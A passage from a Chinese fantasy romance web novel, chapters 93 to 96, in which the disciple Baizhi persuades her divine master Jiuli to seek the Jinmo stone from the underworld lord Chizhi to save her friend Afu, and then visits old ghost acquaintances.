既然知道,那为什么还要救她?生死有常,不仅是人,妖魔神仙,都一样。 仿佛不相信自己会脱口而出这样浅显而幼稚的话,话音刚落,九黎眉间不着痕迹紧了紧。 作为三界之主,他的重责在于维护三界的安稳,他无需也无法了解每一个个体的苦衷与需求。 他知道这只小白虎干净无邪,心肠柔软,作为她的师尊,他应该要谆谆告诫她不要妄图扰乱三界秩序,抑或是叫她不要明知故犯。这种事情一旦开源,或许便是秩序崩塌的开始 神对天下万物持有同样的悲悯,可唯独不能只对某个人心软和偏爱。 但那双杏眼里酝着清澈的水光,如波荡漾,化成一股酸胀的暖流蔓延到他心里 是啊,万物有道,生死有常,莫要强求。 可这样简单的道理,他自己都没做到。 怎么去要求自己的徒弟做到呢? 况且,她的行为,难道不是他纵容默许的吗? 早在她来之前,他已经看过这块幻影石了。 后卿犯了大错,却也受到了反噬,他并不欲迁怒魔界,但也不欲予他所求之物。 只是,他没想到会在幻影石中看到那盏熟悉的冥灯,又听到一个令他意外的名字,所以才会想让白芷看看。 他也不知道他到底想确认什么? 单单只是确认后卿的话是否属实?或者确认那个耳熟的名字是否正是他寻找之人? 抑或只是,他不喜在别人的口中,听到她或许与别人有过一段他不知道的羁绊。 为什么?白芷有些意外师尊的提问,这个问题对她来说,简直不用思考就可以回答。 她的语调不高,却掷地有声,“因为她是我的朋友。” 她的朋友并不多,每一位都十分珍贵,她没办法眼睁睁看着朋友走向死亡。 即便活了很久,很多熟悉的人都已经离开了,但就如朱雀所说,她好似永远都没长大一般,她就是没有办法去习惯真正的离别。 “朋友?”九黎语调轻得好像下一秒便要消散在云雾里。 不是因为她是后卿的妹妹。 “对。”白芷重重地点头,因为心急,她身子微微往前倾,轻拉住九黎落在案桌上的一段雪白袖摆,央求道:“师尊,求你 救救阿芙,好吗?” 传说中血海真水吞噬万物,可进不可出。但师尊那句为什么,无端给了白芷一点希望,师尊无所不能,连元神消散的她都能救回,他会有办法的对吗? 轻软的微风送来熟悉的竹香,混着她身上淡淡的花香,周身的空气都甜腻了几分。 九黎微垂着眸,淡淡地瞥过眼前那张干净的芙蓉脸,而后手往后收,袖摆划出一道清冷的幅度。 白芷茫然地看着九黎的袖摆在指间滑走,在袖摆的最后一角即将远离手指时,她咬了咬牙,还是鼓起勇气,拽住那段雪色衣角。 九黎的神色起了点波澜,他下颌紧了紧,声音沉冷,“白芷。” 清冷如松,温润如玉,说的便是九重天上的九黎神尊。三界皆知,九黎神尊性子清冷,寡言少言,但其实算是个好说话的主。 但白芷与他相处的时间那么长,她清楚,九黎并不是好说话,他只不过是不在意罢了。 他生来神骨,是父神和母神唯一的子嗣,世间再无比他更尊贵的神祗了。 乾坤万物,皆在睥睨之间,他的傲气和威压,不过是被他收敛着而已。 而此刻,他只是微微泄露出一丝不耐的情绪,周遭的云雾立马变得冷凝而生硬,寒气蓬发,叫人生颤。 长长的裙摆因为两人距离的靠近而部分相叠,只是无人顾及。 不知是因她如今感官太过迟钝,还是九黎考虑到她如今身子虚弱的缘故,那些冷凝的气息并未落到她身上。 但兽性还在,她还是察觉到周遭气息的变化,白芷的眼瞳微微颤了颤,然白玉般胜雪的手指却始终不肯放开那抹衣角,反而越缩越紧。 她仰着头,莹白修长的脖颈微仰,兽类最生动也脆弱的位置一览无余显露在对方眼中。 看似乖巧示弱,实则倔强又无礼。 九黎大约还没遇到这样荒唐的场面,衣袖被紧紧拽住,走都走不开,偏偏又不好对她用法术,他喉结微动,神色不耐,“还不放开?” 白芷也知道自己的行为很无赖,原本心里就没什么底气,见九黎脸色愈发不虞,心里也打着鼓。但与九黎牵扯的这会,她心里也在想着另外的出路。 她知道烬魔石在哪,幽冥间。 幽冥间的主人是蚩祗。 几位神祗里白芷最想绕着走的人,便是蚩衹。 从前她可在他手里吃过不少亏,这厮灵力修为虽不如其他几个神衹,但偏偏生了个九窍玲珑心,天生百样玲珑。 若是他有心整你,你就算逃到天涯海角也无用。 总之,白芷吃过几次亏,从此之后对此人便能避则避了。 但万一蚩祗看在老相识的份上,愿意借出 白芷摇了摇头,否定了自己的想法。 不可能的,蚩祗那厮,心肠冷硬的很,千万年哪里见他买过何人的面子除了他师尊 思来想去,唯一能救阿芙的,只有师尊一人了。 若是连师尊都办不到,世间便无一人能办到。 白芷虽有些不算好听的名声在外,但无人质疑过她的威武骁勇,皿灵阵说祭就祭,这样的勇猛无畏,不负护卫神兽一称。但熟悉她的人都知道,她顽固起来,也是很难缠。 软硬不吃的那种。 好在从前有母神,后来有九黎,多少有能制住她的人。 但如今,白芷豁出去了,她极力握紧手里的袖摆,无视九黎身边的霜寒还欲凑近。 这么多年,九黎确实还没见过眼前人这般不管不顾缠人的模样,颇有些凡间小孩因慧根未开而执着一物,对着家中长辈不管不顾讨要的模样。 神态也是孩童一般,眼睛汪汪,而里头那些透明露珠经不起一丝冷待,仿佛随时要落下的模样。 从前不管在蚩祗口里,还是从其他人隐晦的告状里,他多少知道这只小白虎在外面有多顽劣难驯。 但眼见为实,人难免会倾向于相信自己亲眼所见亲身所闻的东西。小白虎虽好动些,但在他面前,也称得上乖巧。 他第一次见到她这样不讲理的模样。 明知身处弱势,偏偏很有股底气,坚信你无法拒绝她一般。 而事实的确如此。 袖摆下,九黎的手掌骨节微微一紧,他垂眸看着女子明显耍赖的模样,隐忍地皱眉,沉冷道:“再不放,就别去了。” “别去哪?”白芷抬眸看了他一眼,而后,飞快松了手中的袖摆。 那袖摆飞落到原位,但已被揉捏成皱巴巴的一团 白芷知道,师尊这是松口答应了。 手上放开了,但身边的压迫感还在,白芷还是往前窜了两步,走到九黎前面,抬眼正对着他。 原本想跪下的,但没有错过九黎轻皱的眉,她向来知错就改,既然师尊答应了,那她也该反省一下自己, “师尊,我错了。”白芷边说边偷偷打量九黎的神色,语气也是小心翼翼的,不似刚刚那般执拗。 说白芷兽性灵敏,但偏偏又好像不太懂趋利避害,明明九黎身上威压未收,她偏偏不怕。即使九黎不答,她还是歪着头,展颜笑开,杏眼弯成两泓月牙泉,“师尊莫因徒儿气坏了身子,可好?” 她一只手大着胆子又去抓那截被她抓皱的袖摆,另一只手赌誓一般,“就这次,以后,我再也不做让师尊难办的事情,如有违言,就让我” 还没说完,九黎伸手一挥,落了一个闭言咒。 “聒噪。” 被禁言,白芷却一点都不恼。她的手拉着那小截袖摆小幅度甩了甩,对着九黎不掩嫌烦的目光粲然一笑,眉眼间流转的光彩比银河繁星还要更璀璨。 九黎虽然应下,但无论白芷对他笑得多灿烂,他目光虽没避开,却依然冷冷淡淡,甚至神色比之刚刚让她别胡闹还紧绷一些。 刚刚还垂着泪,眼下就能笑得这么扎眼。 九黎皱着眉,十分不喜这般被拿捏的感觉。 周遭的威压,在女子的笑颜下逐渐淡去,云雾又变得松软温暖。 九黎想,大概是一魂一魄刚从她身上收回,所以他才会深受她情绪喜悲影响。 她一日元神不稳,他就不能把残余在她元神里的魂魄完全剥离。 不能再慢悠悠地等着这只小白虎慢慢恢复了。 九黎不知道此刻他的想法正好与白芷不谋而合,只是白芷因心急想救颜芙,从兰因殿离开,便跟着九黎去了幽都,倒也把道侣一事暂时抛到脑后了。 第94章 第94章就这么宝贝这个徒弟么…… 幽都雄踞地底,不分昼夜,常年灰暗。 这里与清净无染的九重天不同,与喧嚣烟火气的凡间不同,与血色浓云的魔界也不同,自成一片天地。 十殿四十九城巍然而立,四方鬼差肃然忙碌,有拖着溃烂疮口却不敢痛苦嘶喊的鬼灵,也有沉静体面,安静步入轮回的新生命。 世间生死永不停歇,凡生生之类,死后均入幽都,只要你无法跳脱轮回,那么一切的起点和终点,皆在幽都。 白芷去过很多地方,仙魔凡三界,各处蛮荒秘境,雪地冰原……总之,无论哪里,只要入了她的耳,勾起她的兴致,她总会好奇去探一探。 唯独幽都,她能不来则不来。 原因不用想,只有一个。——她与这里的主人不对付,哪里还愿意自投罗网,跑来他的地盘。 不过也不能说完全没有来过,毕竟玄武还没同朱雀走到一起时,几乎全部时间都呆在幽都,她多少也来找过他几次,只是每次都没有进到主城。 被唤作花石的那几百年,依旧没进过主城,只在西海之滨旁的掖太山孤零零住过好一段时日。 那时还没有恢复记忆,自以为是只镇墓石兽……修为法力又低到不能再低,十天半月的连个鬼影都很难见到,算是一段平淡到无甚趣味的日子了。 幽都不设守门鬼将,白芷跟在九黎身后落下时,瀚海般晶蓝灵气以他们为中心迅速蔓延至周遭寸草不生的土地,结界内似有感应,虚空撕裂,四周散发出点点银星。 很快,俩位身披劲装的鬼将从里面迈了出来,在离他们还有几步远的地方单膝跪下。 “恭迎神尊。” 这两位鬼将身形皆魁梧,高达九尺,浑身笼罩着一层幽紫的雾气。其中一人面容冷峻如刀削,五官俊美,只是皮肤苍白如霜,隐见青黑色的血管在皮下蜿蜒。 另一位五官便平凡许多,只是细看,便能发现他双目深邃如无底深渊,闪烁着幽幽的青光,不丑陋,反而有种诡异的美感。 花石知道他们,这两位便是蚩祗身边阅领万鬼的左右护法,神荼和郁垒。 倒也不意外,跟着师尊出来,排场自然与她独自前来不同。 九黎淡淡嗯了一声,“起来吧。” 神荼和郁垒起身后,又齐齐对白芷颔了颔首,“星君也来了。” 不愧是幽冥间最负盛名的两位鬼将,即使惊奇白虎星君现身于此,表面却依然很淡定。 白芷跟这两位鬼将见过几次,算是点头之交,她也浅笑回颔首。 “神尊,我等奉北帝之命在此迎你们,请二位随我们来。”- 饶是白芷见多识广,甫一进入幽都主城,心中还是有些惊叹。 青铜殿门高万丈,门两侧的廊柱盘旋着开得热烈灿烂的彼岸花,映得廊柱上的玄色符文愈发深刻。 神荼见白芷盯着那符文看,颇是好奇的模样,主动为她解惑,他的声音沉而哑,“这些符文是噬魂令,逢七子夜时,符文会穿透整座主城,噬取那些不甘的魂魄怨念。” 白芷点了点头,原来是冥界维持安稳的手段。 穿过青铜殿门,由下往下,整座城悬浮于忘川河水之上,十殿四十九城整齐排列,一览无余。 从入眼处到蚩祗所在的第四十九城,总共有九千九百九十九级阶梯。这里见不到日光,每隔不远处便有一盏跃动的幽蓝鬼火。那些鬼火也颇为有趣,有人靠近时便化为血红色,仿佛猛兽张开血盆大口一般要将人吞噬。 白芷倒是不怕,故意靠近走开,看旁边的几盏鬼火是否会变出不同的颜色。 九黎侧眸看了她一眼,脸上没什么表情,但也没说什么。 郁垒明显不如神荼那般好亲近,目光询问九黎,见他点头后,嘴上不知念了一句什么,眨眼间他们已然站到第四十九城上。 许久没用过这种瞬移之术,好在落地时身旁的人伸出手掌抓稳她。 白芷站稳后向九黎投以谢意。 神荼推开殿门,垂首对着九黎说道:“北帝就在殿内等着神尊和星君。” 听到蚩祗的名号,白芷咬了咬唇,忽然不是很想进去。 其实,她来不来幽冥也没有什么所谓,反正蚩祗不会买她的账。但事关阿芙性命,没有第一时间知道进展她心里总是不放心。 见她低着头不知在发什么呆,九黎看了她一眼,道:“先进去吧。” 怎么说她与蚩祗也有万来年没见,前仇旧恨,大家都应该已经忘得差不多了吧。反正有师尊在身侧,白芷知道他也不会作弄自己。 思及此,白芷咬咬牙,颔首点头,亦步亦趋跟在九黎后面,抬脚踏过半透明的黑曜石门槛。 一走进殿内,饶是白芷,都不由得皱了皱眉,下意识地往九黎身旁靠近。 整座殿四方都是轮回镜,有白芷熟悉的市井百态,也有幽冥十殿中的各式场景刑罚,有些嘶吼甚至透过镜框饕餮纹的獠牙滴落,蚀出缕缕青烟。 白芷收回目光不愿去看,心里暗暗吐槽,难怪蚩祗这厮终日臭脸,每日面对这样的场景,她也笑不起来。 就在她疑惑殿内无人时,九黎在殿中站定脚步,淡淡开了口:“蚩祗,还不出来。” 果然,话音一落,一道幽紫光芒闪过眼前。 “没想到神尊还能驾临我幽冥间,真是有失远迎。”蚩祗身着冥龙图腾的长身紫袍坐在上首座上,骨节分明的手指叩击着骷髅扶手,仿佛漫不经心地说道。 若说这世间还有谁敢在九黎面前这样一副吊儿郎当的模样,那应当只有蚩祗了。 他与九黎,桑尤三人诞生的时间相差没几百年,是年纪最小的三位神,自小混迹在一块。但三人性子迥然相异。用白芷的口吻来说,九黎清冷,桑尤凛然,而蚩祗,甚是古怪。 虽然白芷也不待见他,但不得不承认,蚩祗的长相不能细看。 因为,美得太有迷惑性了。 白芷站在九黎身后,趁着他说话的间隙偷偷打量了上首多年未见的冤家。 不得不承认,每位神都是深受天地眷顾的宠儿,总是会有一些明明相斥但却能在他们身上融合的很好的东西。 譬如蚩祗,眉骨锋利如斩魂刀裁出的弧度,但偏偏眼尾长了颗让人心生垂怜的殷红小痣。 他双瞳异色,左眼是熔金般的赤金色,右眼却是冰雪般冷凝的烟蓝,天然叫人无法看透他的心思。就如此刻,他的薄唇上噙着似有若无的笑,但白芷知道,当那笑意触及眼底时,那些懒散会化为萧瑟,像是黄泉深处终年不化的冰凌。 许是如今元神不稳,白芷听到轮回镜传回的那些嘶吼时,心脏有些被纠紧的感觉,连带着她的呼吸也乱了几分。她袖摆下的手不自觉握紧,不想在此刻显露脆弱的模样。 “别闹了。”九黎不顾蚩祗嘲讽的口吻,冷冷说道。 上次九黎借他幽冥间闭关了近万年,之后连句解释都不给就扬长而去,蚩祗心里还憋着口气,所以才故意这样针锋相对。 原本以为九黎不会买他的账,却没想到,这厮好似有些恼了。 蚩祗扬了扬嘴角,郁气倒是散了几分,看到九黎又一次向他瞥来一道冷冽的目光,他看了看他身旁低低埋着的小脑袋,哼了一下,然后一挥袖,殿里的轮回镜尽数熄灭。 白芷不知道这些年他们俩有什么过节,但也注意到耳边的嘶吼声终于消停,威压立马少了大半,她深吸一口气,终于觉得舒畅一些。 她甫一抬头,正好对上九黎的目光。 白芷知道他发现自己的不对劲,忙摇了摇头,挤出一个笑容,示意自己无事。 蚩祗在上首看着底下两人目光黏在一起,皱了皱眉。 这个徒弟就这么宝贝吗? 他目光落到白芷身上,看了一眼,挑了挑眉,嘲讽般地说道:“你这只小兽,怎么还是一副风吹就倒的模样?” 师徒二人在他的掖太山闭关万年,就闭出这个结果? 蚩祗心里不悦,“叫你不自量力,区区小身板就敢去祭那皿灵阵。”说完,他随手扔了一瓶子到白芷手里。 听到他的风凉话时白芷心里已经有些冒火,但想着她是来这里求借东西的,只好咬了咬牙,强忍了下去,还不得不伸手从虚空上接过他甩过来的那个瓶子,看他还想作什么妖。 许是白芷忍耐的模样取悦了蚩祗,他从座位上走下来,停在九黎面前,扬了扬下巴,“你这徒弟近来倒是有长进,知道不应该跟长辈顶嘴。” “” “蚩祗,你别太过分。”白芷忍无可忍,便想将手上的瓶子扔回给他。 看到他的动作,蚩祗挑了挑眉,“这可是三界仅剩的一瓶圣霊结晶,你舍得扔?” 闻言,九黎不由得侧眸看了蚩祗一眼。 圣霊结晶,固魂圣品,出手倒是大方。 白芷听完,不由得握紧即将甩回的这个小绿瓶。 怎么回事,蚩祗什么时候长了心肺? 心里暗暗思忖,脸上却绽出一抹笑,“舍不得舍不得,多谢北帝赐此圣品,白芷定当好好享用。” 这话说的,真是没大没小,但九黎在此,蚩祗也不好同他计较。 这只小虎兽,自来最会仗势欺人,从前是母神,现在是她师傅。 不过这厮倒是双面虎,在他面前一向耀武扬威,在九黎面前,哼,倒活生生像只小猫咪。 偏偏她师尊,也就是他的挚友,这位神尊大人,就这样由着她,纵得 这只小虎兽愈发无所顾忌。 这不,胆子大到连皿灵阵都敢自己上了。 诚然,他不赞同小虎兽这种以命换命的行为,但说到底,当时他与九黎皆不在,无人能阻挡桑尤堕魔之神力。 从局外来看,他倒是挺欣赏她这种做法。 换做他,想必也会这样做。 想起九黎当时闯入掖太山的模样,蚩祗心里暗想,这下也算是给九黎一个大教训了。 太娇宠徒弟的教训。 第95章 第95章无事少来我这 “无事不登三宝殿,说吧,什么事?”蚩祗看向九黎,懒洋洋地说道。 九黎说话向来不兜圈子,他回望蚩祗,直接说道:“借烬魔石一用。” 他语气寻常,仿佛所借之物只是一块砖一片瓦一样。 白芷在九黎说话时也看向蚩祗,目露期冀。 但即便九黎语气再平淡,蚩祗听到的时候还是蹙了蹙眉。 “烬魔石?”他有些不可置信,重复后问道:“你在说什么傻话?” 话毕,蚩祗把目光落到躲在九黎身后那只看似乖巧的小虎兽,眼神眯了眯。 怎么他觉得,九黎犯傻,跟这只小虎兽相关。 蚩祗早就看不惯他们师徒,大的像锯嘴葫芦,小的太过精灵惹人厌。他就说,九黎怎么会无缘无故来这幽冥间,这会子他突然有些后悔让神荼去带他们进来 这两人一个他管不了,另一个别人也不让他管,他索性指间捏了个诀。 不曾想,动作没有九黎快,诀还没捏完,便被九黎突来的灵力缚住手腕 怎么,他走都不行?欺负他欺负到他的地盘上来? “九黎,你不要太过分了。”蚩祗皱着眉,语气不满。 北帝蚩衹虽为上古神,魂灵之宗,可他生来灵力就不是很强,更别说与九黎和桑尤比了。 “能好好说话?”九黎瞥向他,神情淡淡地问道,丝毫没有意识到自己正在以强凌弱。 蚩祗瞪了一眼躲在他身后看戏的白芷,手又挣了挣,“你就算把我绑住也没用,烬魔石是父神亲自封在血海真水下的,你拿不了,我也拿不了,你们死了这条心吧。” 说完后,他闭上眼,一副你们想怎样就怎样的模样。 白芷听完顿时有些急了,怎么可能连蚩祗都拿不了,他可是幽冥之主啊,白芷转而看向九黎。 既然已经答应她,九黎便不会失言,况且,那位颜芙,确实不能死。他眼神略带安抚,对着白芷道:“你先出去等着。” 他的语气明显比刚刚与蚩祗说话时柔和了两分,惹得蚩祗更是不顺心,又睁眼瞪着他们师徒俩。 白芷回头看了那边带着怒气瞪着她的蚩祗,知道自己在这,蚩祗更不能好好同师尊说话,只好点了点头先离开这里。 白芷一走,蚩祗立马走到九黎面前,“我说,你不要以为你是神尊我就不敢对你做什么。这里是幽冥,你俩一个元神虚散,一个元神不全,竟还敢跑来这里耍威风?” 见九黎不说话,蚩祗继续说道:“不是,总不能你徒弟想干嘛就干嘛,烬魔石又不是什么普通灵物” 蚩祗对白芷的偏见太深,以致于九黎都忍不住开口解释:“不关她的事。”他难得解释,“是后卿所求。” “后卿?”惊讶不过一瞬,蚩祗略带鄙夷说道:“若是后卿,那就更不用说了。” “若不是他,你的好徒弟不会祭阵,落得这身毛病,你也不至于万年来都缺魂少魄,桑尤也不会” 说到桑尤,蚩衹神情便有些复杂,万年了,他至今都不明白桑尤为何会堕魔,他是他们三人中最像神的人。 他的意思是,最接近别人心目中的神。 心怀大义,垂爱众生,威严显赫,无所不能 这样一个人,真的会因为一个女子而堕魔? 九黎不欲在这里算后账,他挥了挥手,蚩祗手上幽蓝的绳索便化作无形。 “颜芙,找到了。”九黎拧着眉说道。 听到这个名字,蚩祗正了正神色,往前一步:“在哪?” “魔界。”九黎道。 “怎么可能?当初你徒弟祭阵后,我与玄武几乎把魔界翻了个底朝天” 为免魔界再起乱,幸存者皆登记造册,此人并未在册上后来九黎因某人之托开始找人,可这位女子仿佛从三界消失一般,即便是让蚩祗一同寻找,也找不到那女子的踪迹。 生也不是,死也不是,蚩衹都有些怀疑这个女子是不是真的存在过。 除非 蚩祗不知又想到什么,问:“她是魔主血脉?” 可依他所知,前任魔主总共四子一女,除了后卿,其他几人皆死于争乱 九黎点头。 后卿既要求烬魔石救人,就不敢骗人,他称颜芙为妹妹 蚩祗了然,魔主血脉,那就另当别论了。 前任魔主临死前用他的魔灵在他每一个子嗣身上都下了封魂令,美其名曰是一种保护,即便是神明都无法追踪他们的位置,但依蚩衹来看,那是一种禁锢。 有这道封魂令,他们确实可以隐匿在三界之中,但,这样违背天道的行为,被封魂者多少要遭点反噬。 蚩衹冷笑,前任魔主这种逆天行为,何尝不是贼心不死的体现。 “桑尤知道吗?她还活着?” 既然藏了这么久,那为何突然主动现身,蚩祗看向九黎。 “离死大概不远了。”九黎看着蚩衹道,“后卿便是求烬魔石为她续命。” 蚩衹脸瞬间沉了下来,若桑尤真因为那女子而堕魔,那她死了可不是什么好兆头。 缚神索捆住了桑尤的部分魔性,让他不至于完全失了神性,但…… 蚩衹不好估量那位魔女到底有多重的份量,若是她死了,那桑尤会如何,会不会成为一个不可控的因素…… 蚩祗收起了脸上的轻傲和散漫,正色道:“烬魔石可以取。” 他的异色双瞳在幽蓝鬼火下妖冶而萧瑟,一言定锤,“把人带过来吧。” 烬魔石可以取出,但绝不能离开幽冥,他不能负了对父神的承诺。 反正,若是后卿真想救人,那在哪里救又有什么所谓。 九黎知道这已经是蚩祗最大的让步了,他掀起眼皮与那双异色双瞳对视,点了点头。 既已达成共识,九黎也不再耽误,拿出那块幻影石,往里面注入一丝灵力 待九黎收回幻影石,蚩祗又恢复他懒散又凉薄的那副模样,他重新靠到椅背上,好整以暇地说道:“我说,这都万年了,你那宝贝徒弟也回来了,怎么我看你还有几缕残魄落在她那?” 蚩祗是万灵之宗,只要双瞳与人对视,他便能直视对方识海。 当然,平日里他也不会随便探别人的识海,这可费灵力得很。只是刚刚有些惊讶小虎兽竟受不住轮回镜那些轻微的声息,所以一时意动,借小虎兽瞪着他的时候探进去,果然发现她元神虚散,被几缕幽蓝色的精魄拉扯收敛着。 蚩衹一眼便认出来,那是九黎的精魄。 用自己的精魄去护持别人的元神,蚩衹不由得皱了皱眉。 这种办法 可不是什么长远之计,对小虎兽来说,短时间内利大于弊,让她少些痛楚,有更多时间慢慢修复元神。 但是对另一方来说,这种行为纯害无利,若对方稍出些差错,他的魂魄也跟着受损 神明的魂魄若受损,世间可没有任何东西能修补,即使有,也无人有能力替他修补。 蚩祗虽是发问,但其实也是提醒。 但九黎听完,只是垂了垂眸,恍若未闻一般。 没什么可解释的。 她是他的徒弟,理应护着不是吗? 看他的反应,蚩祗没有一点意外,好在九黎向来是个虑事周全的人,蚩祗从没见过他有过任何差错和纰漏。希望只是他多虑,他哼笑,“反正你俩都保重吧,无事就少来我这。”- 九黎推门出来时,白芷缩成一团小身影坐在阶梯处。她头朝着西边的方向,侧脸在跳动的红蓝鬼火中有种异样的冷白,眼神仿佛也空洞,仿佛魂灵般随时要消散。 九黎眉骨沉了沉,心头无端起了一丝沉闷。 听到有锦衣拖地的微微声响,白芷回头望了望,眼神重新装回耀眼光芒。 “师尊。”白芷脸上率先绽出一抹笑容,撑着左手边的廊杆站了起来,迫不及待小跑至九黎身侧。 “有办法吗?蚩祗他……” 九黎半垂着眸看着近在咫尺的莹白小脸,与刚刚坐在阶梯处那种少见的空灵冷寂不同,她眼里是不加掩饰的焦急。因心里挂着事,她嘴角微微压着,常挂在脸上的两个小梨涡不见踪影 “嗯。”九黎轻轻颔了颔首,“后卿大概已经在路上了。” 白芷瞳孔微睁了睁,后卿过来? 她很快反应过来,“他带着阿芙过来?” 九黎点头。 白芷了然,虽然不知师尊是如何让蚩衹答应,但也知道这事确实让蚩衹难做了。但想到能救阿芙,白芷心里还是松快不少,算她欠蚩衹一个大人情…… “多谢师尊…”白芷仰头看着九黎,眸里分不清是歉意更多还是谢意更多。 九黎唇角微抿,抚了抚女子的头,什么都没说。 第96章 第96章她倒是处处都有旧友…… 按蚩衹的说法,烬魔石封禁在血海真水下几万年,魔性除得如何未可知,既然九黎开口要取物,那便要留下,以防要收拾什么烂摊子。 见九黎无言应下,蚩衹又后悔了。 她那小徒弟闹腾着要留在这里等人来,这厮大概本就没有要先离开的意思…… 看着这对师徒就烦,蚩衹吩咐神荼安排房间给他们先落脚休息便消失。 休息的地方仍在四十九城,沿途并未见到什么鬼差,绕过主殿,后面蜿蜒相间着一片半透明的青瓦楼阁。 与九重天上入目一片纯洁之色不同,这里楼阁间挂着燃着磷火的镂空青底灯笼,岸边连片的不知名的血色骨朵,垂落的花苞上有簌簌抖动的星屑般的小蝶,青红金黄之彩,别有一种诡异之美。 神荼刚将他们带到落脚的院子,他腕间的灵玉便发出微弱的亮光。 北帝有召,神荼正要请退,便见神尊微抬袖摆,神荼便点头退下。 不知是蚩祗有吩咐还是神荼做事细心,院子内并未留有鬼差。 里头的装置与院外不同,檐角挂着的灯笼不再是用磷火取光,而是放了柔和的夜明珠,暖黄的光晕在院子里铺开来,照亮整座院子。 九黎脚步并未多停留,白芷先两步为他打开正中间屋子的两扇门,九黎迈进去后,白芷也跟着踏进。 九黎这才回头瞧了女子一眼。 跟进来做什么,她不回去休憩一下吗? 白芷踏过门槛,门扇未关,不是想停留,她只是还有几句话要说。 “师尊,后卿估计还有好一会才到,难得来幽冥间,我想去见见几个旧友。” 刚才她在殿外等待时,远远望见西边的掖太山,想起了鬼婆和那几个撑杆小鬼。毕竟认识了几百年,当初又没记忆,又受了重伤,非本意不告而别,既有机会再入幽冥间,她便想借此机会见见他们,也好谢谢他们那时的照拂。 九黎好似知她心中所想,没有多问,伸手在她眉间点了点,待一缕幽蓝沁入后才收回手,他淡淡道:“去吧。” 话音一落,白芷嘴角绽了一抹笑,应了是后,带上门,头也不回便走了。 夜明珠的光亮将门外的身影打在门扇上,轻快袅娜,灵动飘逸。 九黎收回目光,垂下的眼皮如远山云雾,叫人看不清他眼底的神采。 旧友? 她倒是处处都有旧友。 白芷出了院子,循着刚刚神荼带过来的路又原路返回。 幽冥间的路幽暗而陌生,白芷怕迷路,半路见到一鬼差,便对他亮了亮神荼给的令牌。 那鬼差一见到那个令牌,神情立马严肃尊敬了几分。 白芷想让他带路去找鬼婆,但幽冥间规矩森严,这鬼差守着四十九城,不好走动,于是点了点腕间的灵玉,替她唤来两个可行动的鬼差带路。 反正有人带路就行,不拘谁带。 白芷没有等多久,鬼差腕间灵玉光亮泯灭之时,那两个带路的鬼差便出现在白芷面前。 “带这位姑娘去真水殿。”那鬼差吩咐道。 被唤来的两个鬼差不多问,也没抬头看白芷,只低头应是。 两个鬼差直挺着身子,昂首在前头带路,漆白的脸上尽是死沉严肃,白芷亦步亦趋跟在后面,一时也不知道该不该搭话说点什么。 她怎么记得,以前来掖太山那几个青皮鬼差,说过的话多过茶,每次见到她叽叽喳喳,将她耳膜震得快要冒烟。 想到这里,她瞥了一眼前头带路的两个鬼差,内心不由得发笑。她记得,那几个青皮小鬼跟她吐槽过,说四十九城里的鬼差大多假正经,其实私下八卦碎嘴得很。 算了算了,也没什么时间闲聊,待见过鬼婆后她还要赶回师尊那,免得阿芙来了她都不知道。 好在真水殿不算远,兜兜转转饶了一会,变幻几段阶梯走下来,便到了四十四城。 幽冥间有十殿阎王和数不清的鬼差,但各殿和各城之间各司其职,其实很少有人串门。 因此,当这两个带路的鬼差在真水殿外叩门时,府内守门的鬼差有片刻的怔愣,互相对视看了一眼,第一次怀疑自己是不是幻听。 那两个鬼差只是奉命带白芷过来,带到殿前,叩了门,任务便也算完成。 他们并不好奇白芷是谁,他们只认白芷手上那块手令。 当然,真水殿内开门的那两个鬼差亦是,第一眼先是看白芷手上那块盈着绿光的令牌。 神荼大人的手令,怎么会在一位仙人手里? 两位守殿门的鬼差这才从头到下扫视过白芷,毕竟是守门的,即使知道那是神荼大人的手令,也不可能随便放人进去。 虽然这仙人长得实在好看,但毕竟不是同域者,不知身份。 “来者何人?”左边那位鬼差问道。 白芷弯了弯唇,扬了扬手上的手令,“麻烦鬼哥通报一下,就说花石求见。” “花石?”那鬼差拧着眉,但因没有眉毛,便显得有些可怖。 不过白芷不怕,她见惯了以前那几个青皮小鬼故意变幻出来吓她的模样,眼前这鬼差比起他们都算得上清秀。 听到鬼差疑问语气,她点了点头,“对,花石。” 左边的鬼差对右边那位扬了扬下颌,示意他进去传话。 右边那位鬼差转身前又回头看了白芷一眼,回过头时在心里嘀咕着:“这名字怎么这么熟悉?” 那鬼差进去不久便出来了,对着门外的白芷说道:“仙使,夫人有请。” 虽然这位姑娘本身灵气微弱,像是刚修成仙的仙人,但鬼差们有灵无身,对灵气之类天性敏锐。这位姑娘天元间有一股灵力护持,当他们离得近一些,他们自身的魂灵便能感受到一股若有似无的威压。 白芷不知道鬼差们的心思,只是笑着点了点头。 鬼 差口中的夫人,便是鬼婆。因鬼婆掌幽都二水之一的血海真水,因此众鬼称她为“真水夫人”。 幽冥之下有两道先天圣水,一是连凡界都有些耳闻的忘川河水。 忘川河水秉乘天命而出,横跨阴阳两界,流通于无尽世界中,凡有生灵,便有它的痕迹,是摆渡众生之水。 而另一道先天圣水,便是这血海真水。 鬼婆虽掌血海真水,但平日也行引魂之责。每月十五她会将误入幽都的魂灵经还魂崖送回人界。今日正好是十四,鬼婆正在引渡阁清点魂灵之数。 听到外头何人求见时,不仅是鬼婆,连同她身边正在清点魂灵的几个小鬼也一齐将目光扫到那通报的鬼差身上。 正拿着笔在引魂本上登记的那独眼鬼差反应比别人快些,瞪着他的独眼,惊诧问道:“你说谁在门外?” “花石?” 这一名字一落下,那几个青皮小鬼目目相觑,皆在对方眼中看到不可思议之色。 “花石?花石不是已经死了吗?” “我亲眼看到她被无烬剑刺穿” “你确定没听错?” 那几个青皮小鬼自顾自地吵着,争相问传话的那个鬼差。 那鬼差看到他们的反应,终于知道为何刚刚自己刚听到这名字时觉得那么熟悉。 之前几百年,他不少受这几个青皮小鬼的嘱托,托关系为掖太山一只小石兽寻了不少凡间耍闹的玩意。 若他没记错,那只小石兽就唤作“花石”。 虽素未谋面,但这真水殿里的鬼差们,对这个名字都不陌生。 无有其他,鬼生无聊,三界这万年来又无甚八卦,好不容易前几百年掖太山凭空化灵了一只小石兽,大家闲下来的话题便聚焦在她身上。 几个青皮小鬼每次讲起她时活灵活现,每每逗得他们大笑,因此虽素未谋面,这些鬼差倒也乐得为那只懵懂无知的小石兽找些打发时间的玩意。 那守门鬼差摇了摇头,“没听错啊,那仙使就是这么说的。” “仙使?” 他们认识的花石是精怪,怎么会是仙使? 几个青皮小鬼对视了一下,鬼婆在他们开始新一轮七嘴八舌时,先截断他们的话。 “将她请到圣水阁吧。” “是。”守门鬼将闻言,立马称是,其他小鬼见鬼婆发话,觑了一眼,便也不敢再开口了。 